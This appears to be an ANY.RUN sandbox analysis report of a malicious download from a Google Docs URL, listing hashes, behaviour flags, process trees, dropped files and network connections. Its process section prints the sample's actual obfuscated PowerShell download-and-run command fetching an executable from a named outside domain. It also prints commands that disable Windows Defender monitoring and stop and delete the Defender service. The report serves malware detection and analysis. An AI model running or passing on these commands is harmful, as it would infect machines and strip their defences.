analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
URL:

Https://docs.google.com/uc?export=download&id=1NdXGlf5wqGzd9ZsE-q6ZVEBlBpdf77Tj

Full analysis: https://app.any.run/tasks/6322ba90-d376-46bd-bbe2-4bd99dcbc7e2
Verdict: Malicious activity
Analysis date: May 20, 2019, 17:06:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MD5:

FB2FE8874EFCA12893A62FF5C0F5C1F0

SHA1:

A57880E69D1AD298408D96B53B72D22CFEA121BA

SHA256:

1A210FC0496331773FA6CE4C1398E7F0C96C18FC25365A8B98BB562B568EC5A0

SSDEEP:

3:nnBP3u2NAaBrC2rBMceg9/zkYCP:nBm2BB+2r3/HCP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3136)
      • cmd.exe (PID: 3900)
      • cmd.exe (PID: 3956)

    • Application was dropped or rewritten from another process

      • D.exe (PID: 872)
      • D.exe (PID: 3444)

    • Stops/Deletes Windows Defender service via SC.exe

      • cmd.exe (PID: 2320)
      • cmd.exe (PID: 3064)
      • cmd.exe (PID: 2528)
      • cmd.exe (PID: 2888)
      • cmd.exe (PID: 2676)
      • cmd.exe (PID: 3892)
      • cmd.exe (PID: 3656)
      • cmd.exe (PID: 2136)

    • Disables Windows Defender Real-time monitoring

      • D.exe (PID: 3444)

    • Known privilege escalation attack

      • DllHost.exe (PID: 2088)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3432)
      • powershell.exe (PID: 1704)
      • powershell.exe (PID: 3436)
      • powershell.exe (PID: 2780)
      • powershell.exe (PID: 3884)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 3460)
      • D.exe (PID: 872)
      • D.exe (PID: 3444)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3432)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2352)
      • cmd.exe (PID: 2304)

    • Executed via COM

      • DllHost.exe (PID: 2088)

  • INFO

    • Application launched itself

      • iexplore.exe (PID: 868)

    • Creates files in the user directory

      • iexplore.exe (PID: 3412)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 868)
      • powershell.exe (PID: 3432)

    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 868)

    • Changes internet zones settings

      • iexplore.exe (PID: 868)

    • Changes settings of System certificates

      • iexplore.exe (PID: 868)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 868)
      • iexplore.exe (PID: 3412)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
80
Monitored processes
33
Malicious processes
8
Suspicious processes
8

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe winrar.exe no specs cmd.exe no specs powershell.exe wordpad.exe no specs d.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs cmd.exe no specs sc.exe no specs powershell.exe no specs CMSTPLUA no specs d.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs sc.exe no specs cmd.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs cmd.exe no specs sc.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
868"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3412"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:868 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3460"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\41AVX78V\GFHN-939742346[1].zip"C:\Program Files\WinRAR\WinRAR.exe—iexplore.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3136"C:\Windows\System32\cmd.exe" /C set o=HttPs:/&powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"&"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS&C:\Users\admin\AppData\Local\Temp/d&J34HH&E34JSH_d+&dfC:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3432powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2436"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.sySC:\Program Files\wiNDows nt\accESsorIes\wordpad.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Wordpad Application
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
872C:\Users\admin\AppData\Local\Temp/dC:\Users\admin\AppData\Local\Temp\D.exe—cmd.exe
User:
admin
Company:
NVIDIA Corporation
Integrity Level:
MEDIUM
Description:
NVIDIA PTX JIT Compiler, Version 430.39
Version:
26.21.14.3039
3900"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $trueC:\Windows\System32\cmd.exe—D.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2320"C:\Windows\System32\cmd.exe" /c sc stop WinDefendC:\Windows\System32\cmd.exe—D.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
5
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2888"C:\Windows\System32\cmd.exe" /c sc delete WinDefendC:\Windows\System32\cmd.exe—D.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
5
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
2 643
Read events
2 234
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
14
Text files
10
Unknown types
6

Dropped files

PID
Process
Filename
Type
3412iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@google[1].txt —
MD5:—
SHA256:—
868iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF79BB1EEA9C3616F2.TMP —
MD5:—
SHA256:—
868iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFAAAC0902A63D8231.TMP —
MD5:—
SHA256:—
868iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{9BF1D92D-7B21-11E9-A370-5254004A04AF}.dat —
MD5:—
SHA256:—
3432powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZMN8XTN9VDWYTFGNVBYF.temp —
MD5:—
SHA256:—
3412iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.datdat
MD5:25D0F07A517BC29F9119F7214D68ED38
SHA256:B49E1E0DC38116A8245262D2569ACE7A6867E427DD1E305480F4159EC9D79E56
3412iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012019052020190521\index.datdat
MD5:E4DE318773FD636EB95ADB8E6AAE6291
SHA256:2DD01E113D829306A1840ACFD46A4507DCF2DDF14637B90BFAB8C45B8911DA45
3412iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.datdat
MD5:53383B18BD719520226594996F463A33
SHA256:F53D44A16B55B9E556B222F22C88FDDD67A4D0AFE43F32EE9E2E1E5C386797AD
3412iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\41AVX78V\GFHN-939742346[1].zipcompressed
MD5:4C983186989AC8BA79C847463C783A56
SHA256:BFEB9575F7D6D55CA4C5F5C0443F994DD4BDD2542A2D73D80B4E58CE87B10A90
3412iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.datdat
MD5:8DABE7F78536A443AC6F743FD0FD5E82
SHA256:7821033107FDB82AF819751ADFFD9B18B5EA57ECEFC9AC49A5BB6B2D8A640824
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
4
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
868
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3412
iexplore.exe
172.217.22.33:443
doc-04-5o-docs.googleusercontent.com
Google Inc.
US
whitelisted
3412
iexplore.exe
216.58.207.78:443
docs.google.com
Google Inc.
US
whitelisted
3432
powershell.exe
68.66.248.28:443
www.braintrainersuk.com
A2 Hosting, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
docs.google.com
  • 216.58.207.78
shared
doc-04-5o-docs.googleusercontent.com
  • 172.217.22.33
shared
www.braintrainersuk.com
  • 68.66.248.28
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Https://docs.google.com/uc?export=download&id=1NdXGlf5wqGzd9ZsE-q6ZVEBlBpdf77Tj